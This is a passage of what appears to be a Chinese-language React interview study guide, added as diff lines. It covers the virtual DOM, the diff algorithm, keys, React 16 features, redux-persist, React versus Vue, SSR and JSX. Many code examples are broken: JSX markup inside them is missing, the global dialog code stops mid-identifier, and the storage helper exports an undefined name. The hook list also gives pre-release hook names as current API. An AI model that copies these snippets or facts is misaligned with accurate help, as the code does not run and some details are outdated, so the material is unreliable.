框架给你的保证是,你不需要手动优化的情况下,我依然可以给你提供过得去的性能。 + + **(2)跨平台** Virtual DOM本质上是JavaScript的对象,它可以很方便的跨平台操作,比如服务端渲染、uniapp等。 + +### 2. React diff 算法的原理是什么? :star::star: + +实际上,diff 算法探讨的就是虚拟 DOM 树发生变化后,生成 DOM 树更新补丁的方式。它通过对比新旧两株虚拟 DOM 树的变更差异,将更新补丁作用于真实 DOM,以最小成本完成视图更新。 + +![React」一文带你了解React diff 算法_CUG-GZ的博客-CSDN博客_diff算法是深度优先还是广度优先](https://cdn.yihuiblog.top/images/202206302323345.jpeg) + +具体的流程如下: + +- 真实的 DOM 首先会映射为虚拟 DOM; +- 当虚拟 DOM 发生变化后,就会根据差距计算生成 patch,这个 patch 是一个结构化的数据,内容包含了增加、更新、移除等; +- 根据 patch 去更新真实的 DOM,反馈到用户的界面上。 + +![React」一文带你了解React diff 算法_CUG-GZ的博客-CSDN博客_diff算法是深度优先还是广度优先](https://cdn.yihuiblog.top/images/202206302323903.jpeg) + +一个简单的例子: + +```jsx +import React from 'react' +export default class ExampleComponent extends React.Component { + render() { + if(this.props.isVisible) { + return
    visbile
    ; + } + return
    hidden
    ; + } +} +``` + +这里,首先假定 ExampleComponent 可见,然后再改变它的状态,让它不可见 。映射为真实的 DOM 操作是这样的,React 会创建一个 div 节点。 + +```jsx +
    visbile
    +``` + +当把 visbile 的值变为 false 时,就会替换 class 属性为 hidden,并重写内部的 innerText 为 hidden。**这样一个生成补丁、更新差异的过程统称为 diff 算法。** + +diff算法可以总结为三个策略,分别从树、组件及元素三个层面进行复杂度的优化::star::star: + +**策略一:忽略节点跨层级操作场景,提升比对效率。(基于树进行对比)** + +这一策略需要进行树比对,即对树进行分层比较。树比对的处理手法是非常“暴力”的,即两棵树只对同一层次的节点进行比较,如果发现节点已经不存在了,则该节点及其子节点会被完全删除掉,不会用于进一步的比较,这就提升了比对效率。 + +**策略二:如果组件的 class 一致,则默认为相似的树结构,否则默认为不同的树结构。(基于组件进行对比)** + +在组件比对的过程中: + +- 如果组件是同一类型则进行树比对; +- 如果不是则直接放入补丁中。 + +只要父组件类型不同,就会被重新渲染。这也就是为什么 shouldComponentUpdate、PureComponent 及 React.memo 可以提高性能的原因。 + +**策略三:同一层级的子节点,可以通过标记 key 的方式进行列表对比。(基于节点进行对比)** + +元素比对主要发生在同层级中,通过标记节点操作生成补丁。节点操作包含了插入、移动、删除等。其中节点重新排序同时涉及插入、移动、删除三个操作,所以效率消耗最大,此时策略三起到了至关重要的作用。通过标记 key 的方式,React 可以直接移动 DOM 节点,降低内耗。 + +### 3. React key 是干嘛用的 为什么要加?key 主要是解决哪一类问题的:star: + +Keys 是 React 用于追踪哪些列表中元素被修改、被添加或者被移除的辅助标识。在开发过程中,我们需要保证某个元素的 key 在其同级元素中具有唯一性。 + +在 React Diff 算法中 React 会借助元素的 Key 值来判断该元素是新近创建的还是被移动而来的元素,从而减少不必要的元素重渲染此外,React 还需要借助 Key 值来判断元素与本地状态的关联关系。 + +注意事项: + +- key值一定要和具体的元素—一对应; +- 尽量不要用数组的index去作为key; +- 不要在render的时候用随机数或者其他操作给元素加上不稳定的key,这样造成的性能开销比不加key的情况下更糟糕。 + +### 4. 虚拟 DOM 的引入与直接操作原生 DOM 相比,哪一个效率更高,为什么 :star: + +虚拟DOM相对原生的DOM不一定是效率更高,如果只修改一个按钮的文案,那么虚拟 DOM 的操作无论如何都不可能比真实的 DOM 操作更快。在首次渲染大量DOM时,由于多了一层虚拟DOM的计算,虚拟DOM也会比innerHTML插入慢。它能保证性能下限,在真实DOM操作的时候进行针对性的优化时,还是更快的。所以要根据具体的场景进行探讨。 + +在整个 DOM 操作的演化过程中,其实主要矛盾并不在于性能,而在于开发者写得爽不爽,在于研发体验/研发效率。虚拟 DOM 不是别的,正是前端开发们为了追求更好的研发体验和研发效率而创造出来的高阶产物。虚拟 DOM 并不一定会带来更好的性能,React 官方也从来没有把虚拟 DOM 作为性能层面的卖点对外输出过。**虚拟 DOM 的优越之处在于,它能够在提供更爽、更高效的研发模式(也就是函数式的 UI 编程方式)的同时,仍然保持一个还不错的性能。** + +### 5. React 与 Vue 的 diff 算法有何不同?:star: + +diff 算法是指生成更新补丁的方式,主要应用于虚拟 DOM 树变化后,更新真实 DOM。所以 diff 算法一定存在这样一个过程:触发更新 → 生成补丁 → 应用补丁。 + +React 的 diff 算法,触发更新的时机主要在 state 变化与 hooks 调用之后。此时触发虚拟 DOM 树变更遍历,采用了深度优先遍历算法。但传统的遍历方式,效率较低。为了优化效率,使用了分治的方式。将单一节点比对转化为了 3 种类型节点的比对,分别是树、组件及元素,以此提升效率。 + +- 树比对:由于网页视图中较少有跨层级节点移动,两株虚拟 DOM 树只对同一层次的节点进行比较。 +- 组件比对:如果组件是同一类型,则进行树比对,如果不是,则直接放入到补丁中。 +- 元素比对:主要发生在同层级中,通过标记节点操作生成补丁,节点操作对应真实的 DOM 剪裁操作。 + +以上是经典的 React diff 算法内容。自 React 16 起,引入了 Fiber 架构。为了使整个更新过程可随时暂停恢复,节点与树分别采用了 FiberNode 与 FiberTree 进行重构。fiberNode 使用了双链表的结构,可以直接找到兄弟节点与子节点。整个更新过程由 current 与 workInProgress 两株树双缓冲完成。workInProgress 更新完成后,再通过修改 current 相关指针指向新节点。 + +Vue 的整体 diff 策略与 React 对齐,虽然缺乏时间切片能力,但这并不意味着 Vue 的性能更差,因为在 Vue 3 初期引入过,后期因为收益不高移除掉了。除了高帧率动画,在 Vue 中其他的场景几乎都可以使用防抖和节流去提高响应性能。 + +## 九、其他 + +### 1. React组件命名推荐的方式是哪个? + +通过引用而不是使用`displayName`来命名组件 + +使用displayName命名组件: + +```javascript +export default React.createClass({ displayName: 'TodoApp', // ...}) +``` + +React推荐的方法: + +```javascript +export default class TodoApp extends React.Component { // ...} +``` + +### 2. react 最新版本解决了什么问题,增加了哪些东西 :star: + +React 16.x的三大新特性 Time Slicing、Suspense、 hooks + +- **Time Slicing(解决CPU速度问题**)使得在执行任务的期间可以随时暂停,跑去干别的事情,这个特性使得react能在性能极其差的机器跑时,仍然保持有良好的性能 + +- **Suspense (解决网络IO问题)** 和**lazy**配合,实现异步加载组件。 能暂停当前组件的渲染, 当完成某件事以后再继续渲染,解决从react出生到现在都存在的「异步副作用」的问题,而且解决得非的优雅,使用的是 T异步但是同步的写法,这是最好的解决异步问题的方式 + + > Suspense :焦虑,悬念,兴奋;<法律> 暂停,权利中止 + > + > > apprehension about what is going to happen. + +- 提供了一个**内置函数componentDidCatch(组件异常捕获)**,当有错误发生时,可以友好地展示 fallback 组件; 可以捕捉到它的子元素(包括嵌套子元素)抛出的异常; 可以复用错误组件。 + +**(1)React16.8** 加入hooks,让React函数式组件更加灵活,hooks之前,React存在很多问题: + +- 在组件间复用状态逻辑很难 +- 复杂组件变得难以理解,高阶组件和函数组件的嵌套过深。 +- class组件的this指向问题 +- 难以记忆的生命周期 + +hooks很好的解决了上述问题,hooks提供了很多方法 + +- useState 返回有状态值,以及更新这个状态值的函数 +- useEffect 接受包含命令式,可能有副作用代码的函数。 +- useContext 接受上下文对象(从 React.createContext返回的值)并返回当前上下文值, +- useReducer useState 的替代方案。接受类型为 (state,action)=> newState的reducer,并返回与dispatch方法配对的当前状态。 +- useCalLback 返回一个回忆的memoized版本,该版本仅在其中一个输入发生更改时才会更改。纯函数的输入输出确定性 o useMemo 纯的一个记忆函数 o useRef 返回一个可变的ref对象,其Current 属性被初始化为传递的参数,返回的 ref 对象在组件的整个生命周期内保持不变。 +- useImperativeMethods 自定义使用ref时公开给父组件的实例值 +- useMutationEffect 更新兄弟组件之前,它在React执行其DOM改变的同一阶段同步触发 +- useLayoutEffect DOM改变后同步触发。使用它来从DOM读取布局并同步重新渲染 + +**(2)React16.9** + +- 重命名 Unsafe 的生命周期方法。新的 UNSAFE_前缀将有助于在代码 review 和 debug 期间,使这些有问题的字样更突出 +- 废弃 javascrip:形式的 URL。以javascript:开头的URL 非常容易遭受攻击,造成安全漏洞。 +- 废弃"Factory"组件。 工厂组件会导致 React 变大且变慢。 +- act()也支持异步函数,并且你可以在调用它时使用 await。 +- 使用 进行性能评估。在较大的应用中追踪性能回归可能会很方便 + +**(3)React16.13.0** + +- 支持在渲染期间调用setState,但仅适用于同一组件 +- 可检测冲突的样式规则并记录警告 +- 废弃 unstable_createPortal,使用CreatePortal +- 将组件堆栈添加到其开发警告中,使开发人员能够隔离bug并调试其程序,这可以清楚地说明问题所在,并更快地定位和修复错误。 + +### 3. react 实现一个全局的 dialog + +```javascript +import React, { Component } from 'react'; +import { is, fromJS } from 'immutable'; +import ReactDOM from 'react-dom'; +import ReactCSSTransitionGroup from 'react-addons-css-transition-group'; +import './dialog.css'; +let defaultState = { + alertStatus:false, + alertTip:"提示", + closeDialog:function(){}, + childs:'' +} +class Dialog extends Component{ + state = { + ...defaultState + }; + // css动画组件设置为目标组件 + FirstChild = props => { + const childrenArray = React.Children.toArray(props.children); + return childrenArray[0] || null; + } + //打开弹窗 + open =(options)=>{ + options = options || {}; + options.alertStatus = true; + var props = options.props || {}; + var childs = this.renderChildren(props,options.childrens) || ''; + console.log(childs); + this.setState({ + ...defaultState, + ...options, + childs + }) + } + //关闭弹窗 + close(){ + this.state.closeDialog(); + this.setState({ + ...defaultState + }) + } + renderChildren(props,childrens) { + //遍历所有子组件 + var childs = []; + childrens = childrens || []; + var ps = { + ...props, //给子组件绑定props + _close:this.close //给子组件也绑定一个关闭弹窗的事件 + }; + childrens.forEach((currentItem,index) => { + childs.push(React.createElement( + currentItem, + { + ...ps, + key:index + } + )); + }) + return childs; + } + shouldComponentUpdate(nextProps, nextState){ + return !is(fromJS(this.props), fromJS(nextProps)) || !is(fromJS(this.state), fromJS(nextState)) + } + + render(){ + return ( + +
    + {this.state.childs} +
    +
    + ); + } +} +let div = document.createElement('div'); +let props = { + +}; +document.body.appendChild(div); +let Box = ReactD +``` + +子类: + +```javascript +//子类jsx +import React, { Component } from 'react'; +class Child extends Component { + constructor(props){ + super(props); + this.state = {date: new Date()}; + } + showValue=()=>{ + this.props.showValue && this.props.showValue() + } + render() { + return ( +
    +
    + Child + +
    +
    + ); + } +} +export default Child; +``` + +css: + +```css +.dialog-con{ + position: fixed; + top: 0; + left: 0; + width: 100%; + height: 100%; + background: rgba(0, 0, 0, 0.3); +} +``` + +### 4. React 数据持久化有什么实践吗? :star: + +封装数据持久化组件: + +```javascript +let storage={ + // 增加 + set(key, value){ + localStorage.setItem(key, JSON.stringify(value)); + }, + // 获取 + get(key){ + return JSON.parse(localStorage.getItem(key)); + }, + // 删除 + remove(key){ + localStorage.removeItem(key); + } +}; +export default Storage; +``` + +在React项目中,通过redux存储全局数据时,会有一个问题,如果用户刷新了网页,那么通过redux存储的全局数据就会被全部清空,比如登录信息等。这时就会有全局数据持久化存储的需求。首先想到的就是localStorage,localStorage是没有时间限制的数据存储,可以通过它来实现数据的持久化存储。 + +但是在已经使用redux来管理和存储全局数据的基础上,再去使用localStorage来读写数据,这样不仅是工作量巨大,还容易出错。那么有没有结合redux来达到持久数据存储功能的框架呢?当然,它就是**redux-persist**。`redux-persis`会将redux的store中的数据缓存到浏览器的localStorage中。其使用步骤如下: + +**(1)首先要安装redux-persist:** + +```javascript +npm i redux-persist +``` + +**(2)对于reducer和action的处理不变,只需修改store的生成代码,修改如下:** + +```javascript +import {createStore} from 'redux' +import reducers from '../reducers/index' +import {persistStore, persistReducer} from 'redux-persist'; +import storage from 'redux-persist/lib/storage'; +import autoMergeLevel2 from 'redux-persist/lib/stateReconciler/autoMergeLevel2'; +const persistConfig = { + key: 'root', + storage: storage, + stateReconciler: autoMergeLevel2 // 查看 'Merge Process' 部分的具体情况 +}; +const myPersistReducer = persistReducer(persistConfig, reducers) +const store = createStore(myPersistReducer) +export const persistor = persistStore(store) +export default store +``` + +**(3)在index.js中,将PersistGate标签作为网页内容的父标签:** + +```javascript +import React from 'react'; +import ReactDOM from 'react-dom'; +import {Provider} from 'react-redux' +import store from './redux/store/store' +import {persistor} from './redux/store/store' +import {PersistGate} from 'redux-persist/lib/integration/react'; +ReactDOM.render( + + {/*网页内容*/} + + , document.getElementById('root')); +``` + +这就完成了通过redux-persist实现React持久化本地数据存储的简单应用。 + +### 5. 对 React 和 Vue 的理解,它们的异同:star::star: + +**相似之处:** + +- 都将注意力集中保持在核心库(UI显示),而将其他功能如路由和全局状态管理交给相关的库。 +- 都有自己的构建工具和脚手架,能让你得到一个根据最佳实践设置的项目模板。 +- 都使用了Virtual DOM(虚拟DOM)提高重绘性能。 +- 都有props的概念,允许组件间的数据传递。 +- 都鼓励组件化应用,将应用分拆成一个个功能明确的模块,提高复用性。 + +**不同之处:** + +**1)数据流** + +Vue默认支持数据双向绑定(也是单项数据流),而React一直提倡单向数据流 + +**2)虚拟DOM** + +Vue2.x开始引入"Virtual DOM",消除了和React在这方面的差异,但是在具体的细节还是有各自的特点。 + +- Vue宣称可以更快地计算出Virtual DOM的差异,这是由于它在渲染过程中,会跟踪每一个组件的依赖关系,不需要重新渲染整个组件树。 +- 对于React而言,每当应用的状态被改变时,全部子组件都会重新渲染。当然,这可以通过 PureComponent/shouldComponentUpdate这个生命周期方法来进行控制,但Vue将此视为默认的优化。(React 粒度更高) + +**3)组件化** + +React与Vue最大的不同是模板的编写。 + +- Vue鼓励写近似常规HTML的模板。写起来很接近标准 HTML元素,只是多了一些属性。 +- React推荐你所有的模板通用JavaScript的语法扩展——JSX书写。 + +**具体来讲:**React中render函数是支持闭包特性的,所以我们import的组件在render中可以直接调用。但是在Vue中,由于模板中使用的数据都必须挂在 this 上进行一次中转,所以 import 完组件之后,还需要在 components 中再声明下。 + +**4)监听数据变化的实现原理不同** + +- Vue 通过 **getter/setter** 以及一些函数的劫持,能精确知道数据变化,不需要特别的优化就能达到很好的性能 +- React 默认是通过**比较引用**的方式进行的,如果不优化(PureComponent/shouldComponentUpdate)可能导致大量不必要的vDOM的重新渲染。这是因为 Vue 使用的是可变数据,而React更强调数据的不可变。 + +**5)高阶组件** + +react可以通过高阶组件(Higher Order Components-- HOC)来扩展,而vue需要通过mixins来扩展。 + +原因高阶组件就是高阶函数,而React的组件本身就是纯粹的函数,所以高阶函数对React来说易如反掌。相反Vue.js使用HTML模板创建视图组件,这时模板无法有效的编译,因此Vue不采用HOC来实现。 + +**6)构建工具** + +两者都有自己的构建工具 + +- React ==> Create React APP +- Vue ==> vue-cli + +**7)跨平台** + +- React ==> React Native +- Vue ==> Weex、uni-app + +### 6. 可以使用TypeScript写React应用吗?怎么操作? + +**(1)如果还未创建 Create React App 项目** + +- 直接创建一个具有 typescript 的 Create React App 项目: + +```shell + npx create-react-app demo --typescript +``` + +**(2)如果已经创建了 Create React App 项目,需要将 typescript 引入到已有项目中** + +- 通过命令将 typescript 引入项目: + +```javascript +npm install --save typescript @types/node @types/react @types/react-dom @types/jest +``` + +- 将项目中任何 后缀名为 ‘.js’ 的 JavaScript 文件重命名为 TypeScript 文件即后缀名为 ‘.tsx’(例如 src/index.js 重命名为 src/index.tsx ) + +### 7. React 设计思路,它的理念是什么?:star: + +**(1)编写简单直观的代码** + +React最大的价值不是高性能的虚拟DOM、封装的事件机制、服务器端渲染,而是声明式的直观的编码方式。react文档第一条就是声明式,React 使创建交互式 UI 变得轻而易举。为应用的每一个状态设计简洁的视图,当数据改变时 React 能有效地更新并正确地渲染组件。 以声明式编写 UI,可以让代码更加可靠,且方便调试。 + +**(2)简化可复用的组件** + +React框架里面使用了简化的组件模型,但更彻底地使用了组件化的概念。React将整个UI上的每一个功能模块定义成组件,然后将小的组件通过组合或者嵌套的方式构成更大的组件。React的组件具有如下的特性∶ + +- 可组合:简单组件可以组合为复杂的组件 +- 可重用:每个组件都是独立的,可以被多个组件使用 +- 可维护:和组件相关的逻辑和UI都封装在了组件的内部,方便维护 +- 可测试:因为组件的独立性,测试组件就变得方便很多。 + +**(3) Virtual DOM** + +真实页面对应一个 DOM 树。在传统页面的开发模式中,每次需要更新页面时,都要手动操作 DOM 来进行更新。 DOM 操作非常昂贵。在前端开发中,性能消耗最大的就是 DOM 操作,而且这部分代码会让整体项目的代码变得难 以维护。React 把真实 DOM 树转换成 JavaScript 对象树,也就是 Virtual DOM,每次数据更新后,重新计算 Virtual DOM,并和上一次生成的 Virtual DOM 做对比,对发生变化的部分做批量更新。React 也提供了直观的 shouldComponentUpdate 生命周期回调,来减少数据变化后不必要的 Virtual DOM 对比过程,以保证性能。 + +**(4)函数式编程** + +React 把过去不断重复构建 UI 的过程抽象成了组件,且在给定参数的情况下约定渲染对应的 UI 界面。React 能充分利用很多函数式方法去减少冗余代码。此外,由于它本身就是简单函数,所以易于测试。 + +**(5)一次学习,随处编写** + +无论现在正在使用什么技术栈,都可以随时引入 React来开发新特性,而不需要重写现有代码。 + +React 还可以使用 Node 进行服务器渲染,或使用 React Native 开发原生移动应用。因为 React 组件可以映射为对应的原生控件。在输出的时候,是输出 Web DOM,还是 Android 控件,还是 iOS 控件,就由平台本身决定了。所以,react很方便和其他平台集成 + +**** + +### 8. React中props.children和React.Children的区别:star: + +**** + +在React中,当涉及组件嵌套,在父组件中使用`props.children`把所有子组件显示出来。如下: + +```javascript +function ParentComponent(props){ + return ( +
    + {props.children} +
    + ) +} +``` + +如果想把父组件中的属性传给所有的子组件,需要使用`React.Children`方法。 + +比如,把几个Radio组合起来,合成一个RadioGroup,这就要求所有的Radio具有同样的name属性值。可以这样:把Radio看做子组件,RadioGroup看做父组件,name的属性值在RadioGroup这个父组件中设置。 + +首先是子组件: + +```javascript +//子组件 +function RadioOption(props) { + return ( + + ) +} +``` + +然后是父组件,不仅需要把它所有的子组件显示出来,还需要为每个子组件赋上name属性和值: + +```javascript +//父组件用,props是指父组件的props +function renderChildren(props) { + + //遍历所有子组件 + return React.Children.map(props.children, child => { + if (child.type === RadioOption) + return React.cloneElement(child, { + //把父组件的props.name赋值给每个子组件 + name: props.name + }) + else + return child + }) +} +//父组件 +function RadioGroup(props) { + return ( +
    + {renderChildren(props)} +
    + ) +} +function App() { + return ( + + + + + + ) +} +export default App; +``` + +以上,`React.Children.map`让我们对父组件的所有子组件又更灵活的控制。 + +### 9. React的状态提升是什么?使用场景有哪些?:star: + +React的状态提升就是用户对子组件操作,子组件不改变自己的状态,通过自己的props把这个操作改变的数据传递给父组件,改变父组件的状态,从而改变受父组件控制的所有子组件的状态,这也是React单项数据流的特性决定的。官方的原话是:共享 state(状态) 是通过将其移动到需要它的组件的最接近的共同祖先组件来实现的。 这被称为“状态提升(Lifting State Up)”。 + +概括来说就是**将多个组件需要共享的状态提升到它们最近的父组件上**,**在父组件上改变这个状态然后通过props分发给子组件。** + +一个简单的例子,父组件中有两个input子组件,如果想在第一个输入框输入数据,来改变第二个输入框的值,这就需要用到状态提升。 + +```javascript +class Father extends React.Component { + constructor(props) { + super(props) + this.state = { + Value1: '', + Value2: '' + } + } + value1Change(aa) { + this.setState({ + Value1: aa + }) + } + value2Change(bb) { + this.setState({ + Value2: bb + }) + } + render() { + return ( +
    + + + + +
    + ) + } +} +class Child1 extends React.Component { + constructor(props) { + super(props) + } + changeValue(e) { + this.props.onvalue1Change(e.target.value) + } + render() { + return ( + + ) + } +} +class Child2 extends React.Component { + constructor(props) { + super(props) + } + render() { + return ( + + ) + } +} + +ReactDOM.render( + , + document.getElementById('root') +) +``` + +### 10. React中constructor和getInitialState的区别? + +两者都是用来初始化state的。前者是ES6中的语法,后者是ES5中的语法,新版本的React中已经废弃了该方法。 + +getInitialState是ES5中的方法,如果使用createClass方法创建一个Component组件,可以自动调用它的getInitialState方法来获取初始化的State对象, + +```javascript +var APP = React.creatClass ({ + getInitialState() { + return { + userName: 'hi', + userId: 0 + }; + } +}) +``` + +React在ES6的实现中去掉了getInitialState这个hook函数,规定state在constructor中实现,如下: + +```javascript +Class App extends React.Component{ + constructor(props){ + super(props); + this.state={}; + } + } +``` + +### 11. React的严格模式如何使用,有什么用处? + +`StrictMode` 是一个用来突出显示应用程序中潜在问题的工具。与 `Fragment` 一样,`StrictMode` 不会渲染任何可见的 UI。它为其后代元素触发额外的检查和警告。 可以为应用程序的任何部分启用严格模式。例如: + +```javascript +import React from 'react'; +function ExampleApplication() { + return ( +
    +
    + +
    + + +
    +
    +
    +
    + ); +} +``` + +在上述的示例中,不会对 `Header` 和 `Footer` 组件运行严格模式检查。但是,`ComponentOne` 和 `ComponentTwo` 以及它们的所有后代元素都将进行检查。 + +`StrictMode` 目前有助于: + +- 识别不安全的生命周期 +- 关于使用过时字符串 ref API 的警告 +- 关于使用废弃的 findDOMNode 方法的警告 +- 检测意外的副作用 +- 检测过时的 context API + +### 12. 在React中遍历的方法有哪些 ? :star::star: + +**(1)遍历数组:map** + +```jsx +import React from 'react'; + +class App extends React.Component { + render() { + let arr = ['a', 'b', 'c', 'd']; + return ( +
      + { + arr.map((item, index) => { + return
    • {item}
    • + }) + } +
    + ) + } +} +``` + +**(2)遍历对象:Object.entries() 把对象转换成数组后使用map &&直接使用 for in 遍历key** + +> object 没有内部可迭器,无法使用for of + +```jsx +class App extends React.Component { + render() { + let obj = { + a: 1, + b: 2, + c: 3 + } + return ( +
      + { + (() => { + let domArr = []; + for(const key in obj) { + if(obj.hasOwnProperty(key)) { + const value = obj[key] + domArr.push(
    • {value}
    • ) + } + } + return domArr; + })() + } +
    + ) + } +} + +// Object.entries() 把对象转换成数组 +class App extends React.Component { + render() { + let obj = { + a: 1, + b: 2, + c: 3 + } + return ( +
      + { + Object.entries(obj).map(([key, value], index) => { // item是一个数组,把item解构,写法是[key, value] + return
    • {value}
    • + }) + } +
    + ) + } +} +``` + +### 13. 在React中页面重新加载时怎样保留数据? + +这个问题就设计到了**数据持久化,** 主要的实现方式有以下几种: + +- **data.js:** 使用webpack构建的项目,可以建一个文件,data.js,将数据保存data.js中,跳转页面后获取; +- **sessionStorge:** 在进入选择地址页面之前,componentWillUnMount的时候,将数据存储到sessionStorage中,每次进入页面判断sessionStorage中有没有存储的那个值,有,则读取渲染数据;没有,则说明数据是初始化的状态。返回或进入除了选择地址以外的页面,清掉存储的sessionStorage,保证下次进入是初始化的数据 +- **history API:** History API 的 `pushState` 函数可以给历史记录关联一个任意的可序列化 `state`,所以可以在路由 `push` 的时候将当前页面的一些信息存到 `state` 中,下次返回到这个页面的时候就能从 `state` 里面取出离开前的数据重新渲染。react-router 直接可以支持。这个方法适合一些需要临时存储的场景。 + +### 14. 同时引用这三个库react.js、react-dom.js和babel.js它们都有什么作用?:star: + +- react:包含react所必须的核心代码 +- react-dom:react渲染在不同平台所需要的核心代码 +- babel:将jsx转换成React代码的工具 + +### 15. React必须使用JSX吗? + +React 并不强制要求使用 JSX。当不想在构建环境中配置有关 JSX 编译时,不在 React 中使用 JSX 会更加方便。 + +每个 JSX 元素只是调用 `React.createElement(component, props, ...children)` 的语法糖。因此,使用 JSX 可以完成的任何事情都可以通过纯 JavaScript 完成。 + +例如,用 JSX 编写的代码: + +```javascript +class Hello extends React.Component { + render() { + return
    Hello {this.props.toWhat}
    ; + } +} +ReactDOM.render( + , + document.getElementById('root') +); +``` + +可以编写为不使用 JSX 的代码: + +```javascript +class Hello extends React.Component { + render() { + return React.createElement('div', null, `Hello ${this.props.toWhat}`); + } +} +ReactDOM.render( + React.createElement(Hello, {toWhat: 'World'}, null), + document.getElementById('root') +); +``` + +### 16. 为什么使用jsx的组件中没有看到使用react却需要引入react? + +本质上来说JSX是`React.createElement(component, props, ...children)`方法的语法糖。在React 17之前,如果使用了JSX,其实就是在使用React, `babel` 会把组件转换为 `CreateElement` 形式。**在React 17之后,就不再需要引入,因为 `babel` 已经可以帮我们自动引入react。** + +### 17. 在React中怎么使用async/await? + +async/await是ES7标准中的新特性。如果是使用React官方的脚手架创建的项目,就可以直接使用。如果是在自己搭建的webpack配置的项目中使用,可能会遇到 **regeneratorRuntime is not defined** 的异常错误。那么我们就需要引入babel,并在babel中配置使用async/await。可以利用babel的 transform-async-to-module-method 插件来转换其成为浏览器支持的语法,虽然没有性能的提升,但对于代码编写体验要更好。 + +### 18. React.Children.map和js的map有什么区别?:star: + +JavaScript中的map不会对为null或者undefined的数据进行处理,而React.Children.map中的map可以处理React.Children为null或者undefined的情况。 + +### 19. 对React SSR的理解 :star::star: + +服务端渲染是数据与模版组成的html,即 HTML = 数据 + 模版。将组件或页面通过服务器生成html字符串,再发送到浏览器,最后将静态标记"混合"为客户端上完全交互的应用程序。页面没使用服务渲染,当请求页面时,返回的body里为空,之后执行js将html结构注入到body里,结合css显示出来; + +**SSR的优势:** + +- 对SEO友好 +- 所有的模版、图片等资源都存在服务器端 +- 一个html返回所有数据 +- 减少HTTP请求 +- 响应快、用户体验好、首屏渲染快 + +**1)更利于SEO** + +不同爬虫工作原理类似,只会爬取源码,不会执行网站的任何脚本使用了React或者其它MVVM框架之后,页面大多数DOM元素都是在客户端根据js动态生成,可供爬虫抓取分析的内容大大减少。另外,浏览器爬虫不会等待我们的数据完成之后再去抓取页面数据。服务端渲染返回给客户端的是已经获取了异步数据并执行JavaScript脚本的最终HTML,网络爬中就可以抓取到完整页面的信息。 + +**2)更利于首屏渲染** + +首屏的渲染是node发送过来的html字符串,并不依赖于js文件了,这就会使用户更快的看到页面的内容。尤其是针对大型单页应用,打包后文件体积比较大,普通客户端渲染加载所有所需文件时间较长,首页就会有一个很长的白屏等待时间。 + +**SSR的局限:** + +**1)服务端压力较大** + +本来是通过客户端完成渲染,现在统一到服务端node服务去做。尤其是高并发访问的情况,会大量占用服务端CPU资源; + +**2)开发条件受限** + +在服务端渲染中,只会执行到componentDidMount之前的生命周期钩子,因此项目引用的第三方的库也不可用其它生命周期钩子,这对引用库的选择产生了很大的限制; + +**3)学习成本相对较高** 除了对webpack、MVVM框架要熟悉,还需要掌握node、 Koa2等相关技术。相对于客户端渲染,项目构建、部署过程更加复杂。 + +**时间耗时比较:** + +**1)数据请求** + +由服务端请求首屏数据,而不是客户端请求首屏数据,这是"快"的一个主要原因。服务端在内网进行请求,数据响应速度快。客户端在不同网络环境进行数据请求,且外网http请求开销大,导致时间差 + +- 客户端数据请求 + +![浅谈服务端渲染(SSR)_OkidoGreen的博客-CSDN博客](https://cdn.yihuiblog.top/images/202206302331429.png) + +- 服务端数据请求 + +![img](https://cdn.yihuiblog.top/images/202206302332091.png) + +**2)html渲染** 服务端渲染是先向后端服务器请求数据,然后生成完整首屏 html返回给浏览器;而客户端渲染是等js代码下载、加载、解析完成后再请求数据渲染,等待的过程页面是什么都没有的,就是用户看到的白屏。就是服务端渲染不需要等待js代码下载完成并请求数据,就可以返回一个已有完整数据的首屏页面。 + +- 非ssr 客户端浏览器渲染 + + +![img](https://cdn.yihuiblog.top/images/202206302334740.png) + +- SSR 服务端渲染 + +![img](https://cdn.yihuiblog.top/images/202206302334480.png) + +### 20. 为什么 React 要用 JSX?:star::star: + +JSX 是一个 JavaScript 的语法扩展,或者说是一个类似于 XML 的 ECMAScript 语法扩展。它本身没有太多的语法定义,也不期望引入更多的标准。 + +其实 React 本身并不强制使用 JSX。在没有 JSX 的时候,React 实现一个组件依赖于使用 React.createElement 函数。代码如下: + +```javascript +class Hello extends React.Component { + render() { + return React.createElement( + 'div', + null, + `Hello ${this.props.toWhat}` + ); + } +} +ReactDOM.render( + React.createElement(Hello, {toWhat: 'World'}, null), + document.getElementById('root') +); +复制代码 +``` + +而 JSX 更像是一种语法糖,通过类似 XML 的描述方式,描写函数对象。在采用 JSX 之后,这段代码会这样写: + +```javascript +class Hello extends React.Component { + render() { + return
    Hello {this.props.toWhat}
    ; + } +} +ReactDOM.render( + , + document.getElementById('root') +); +复制代码 +``` + +通过对比,可以清晰地发现,代码变得更为简洁,而且代码结构层次更为清晰。 + +因为 React 需要将组件转化为虚拟 DOM 树,所以在编写代码时,实际上是在手写一棵结构树。而**XML 在树结构的描述上天生具有可读性强的优势。** + +但这样可读性强的代码仅仅是给写程序的同学看的,实际上在运行的时候,会使用 Babel 插件将 JSX 语法的代码还原为 React.createElement 的代码。 + +**总结:** JSX 是一个 JavaScript 的语法扩展,结构类似 XML。JSX 主要用于声明 React 元素,但 React 中并不强制使用 JSX。即使使用了 JSX,也会在构建过程中,通过 Babel 插件编译为 React.createElement。所以 JSX 更像是 React.createElement 的一种语法糖。 + +React 团队并不想引入 JavaScript 本身以外的开发体系。而是希望通过合理的关注点分离保持组件开发的纯粹性。 + +### 21. HOC相比 mixins 有什么优点? + +HOC 和 Vue 中的 mixins 作用是一致的,并且在早期 React 也是使用 mixins 的方式。但是在使用 class 的方式创建组件以后,mixins 的方式就不能使用了,并且其实 mixins 也是存在一些问题的,比如: + +- 隐含了一些依赖,比如我在组件中写了某个 `state` 并且在 `mixin` 中使用了,就这存在了一个依赖关系。万一下次别人要移除它,就得去 `mixin` 中查找依赖 +- 多个 `mixin` 中可能存在相同命名的函数,同时代码组件中也不能出现相同命名的函数,否则就是重写了,其实我一直觉得命名真的是一件麻烦事。。 +- 雪球效应,虽然我一个组件还是使用着同一个 `mixin`,但是一个 `mixin` 会被多个组件使用,可能会存在需求使得 `mixin` 修改原本的函数或者新增更多的函数,这样可能就会产生一个维护成本 + +HOC 解决了这些问题,并且它们达成的效果也是一致的,同时也更加的政治正确(毕竟更加函数式了)。 + +### 22. React 中的高阶组件运用了什么设计模式? + +使用了装饰器模式,高阶组件的运用: + +```javascript +function withWindowWidth(BaseComponent) { + class DerivedClass extends React.Component { + state = { + windowWidth: window.innerWidth, + } + onResize = () => { + this.setState({ + windowWidth: window.innerWidth, + }) + } + componentDidMount() { + window.addEventListener('resize', this.onResize) + } + componentWillUnmount() { + window.removeEventListener('resize', this.onResize); + } + render() { + 